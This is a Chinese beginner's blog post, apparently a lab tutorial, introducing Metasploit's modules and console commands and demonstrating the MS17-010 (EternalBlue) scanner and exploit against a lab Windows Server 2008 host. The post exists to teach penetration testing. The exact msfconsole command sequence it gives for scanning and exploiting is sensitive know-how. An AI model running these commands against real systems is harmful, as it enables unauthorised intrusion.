Metasploit Framewok的简单使用

介绍

几乎每一个玩渗透的人都会接触到metasploit framework,简称msf。这是一个渗透测试框架,用ruby语言写的,该框架集成了很多可用的exploit,比如著名的ms08_067等。你可以在这个框架下进行一系列的渗透测试,利用现有的payload,如meterpreter等进一步拿取对方的shell

metasploit模块功能介绍

config --metasploit的环境配置信息,数据库配置信息
data--后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
db--rails编译生成msf的web框架时的数据库信息
documentation--用户说明文档及开发文档
external--metasploit的一些基础扩展模块
libs--metasploit的一些基础类和第三方模块类
log--msf运行时的一些系统信息和其他信息
modules--metasploit的系统工具模块,包括预辅助模块(auxiliary),渗透模块(exploits),攻击荷载(payloads)和后渗透模块(posts),以及空字段模块(nops)和编码模块(Encoders)
msfbinscan--对bin文件进行文件偏移地址扫描
msfcli--metasploit命令行模式,可以快速调用有效的payload进行攻击,新版本的metasploit即将在2015年6月18日弃用
msfconsole--metasploit的基本命令行,集成了各种功能。
msfd--metasploit服务,非持久性服务
msfelfscan--对linux的elf文件偏移地址进行扫描
msfencode--metasploit的编码模块,可以对mepayload和shellcode进行编码输出
msfpayload--metasploit攻击荷载,用以调用不同的攻击荷载,生成和输出不同格式的shellocode,新版本的metasploit即将在2015年6月18日弃用,用msfvenmon替代。
msfmachscan--功能同msfelfscan
msfpescan--对windows的pe格式文件偏移地址进行扫描
msfrop--对windows的pe进行文件地址偏移操作,可以绕过alsr等
msfrpc--metasploit的服务端,非持久性的rpc服务
msfrpcd--持久性的metasploit本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。
msfupdate--metasploit更新模块,可以用来更新metasploit模块
msfvenom--集成了msfpayload和msfencode的功能,效率更高,即将替代msf payload和msfencode
plugins--metasploit的第三方插件接口
scripts--metasplit的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
test--metasploit的基本测试目录
tools--额外的小工具和第三方脚本工具

在这里插入图片描述

基本的控制台命令使用

banner
查看metasploit的基本信息
在这里插入图片描述connect

这里理解成kali的nc命令,基本一致
在这里插入图片描述在这里插入图片描述
show

列出各种各样的模块,后边会经常使用

search

搜索模块和漏洞的名称,可以进行模糊匹配
在这里插入图片描述

测试

这里我以ms17_010漏洞(也就是著名的永恒之蓝)来演示Metasploit Framewok的简单使用方法

实验环境:
攻击机: kali
被攻击的计算机:windows server 2008
我看到网上说要进行这个实验要把被攻击的计算机的防火墙关掉,我试了一下,发现关不关都能成功,也不知道为什么。知道的可以给博主留下一下言。

扫描漏洞

msf >use auxiliary/scanner/smb/smb_ms17_010(加载扫描exp)
msf >set RHOSTS 192.168.11.160(设置被扫描IP)
msf >run(进行扫描,观察是否存在该漏洞)

这里表示存在此漏洞,可以进行攻击
在这里插入图片描述

漏洞攻击

msf5> use exploit/windows/smb/ms17_010_eternalblue (使用攻击模块)
msf5> set RHOSTS 192.168.11.160 (设置目标 ip)
msf5> run(开始攻击)

在这里插入图片描述在这里插入图片描述其中一些常用的命令:
show options 查看当前模块的选项
在这里插入图片描述
show targets 显示存在该漏洞的操作系统
在这里插入图片描述
从这里我们可以看出存在这个漏洞的操作系统是windows 7和windows server 2008

最后

作为一个刚开始学Metasploit Framewok的小菜鸡,还有很长的路要走啊。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值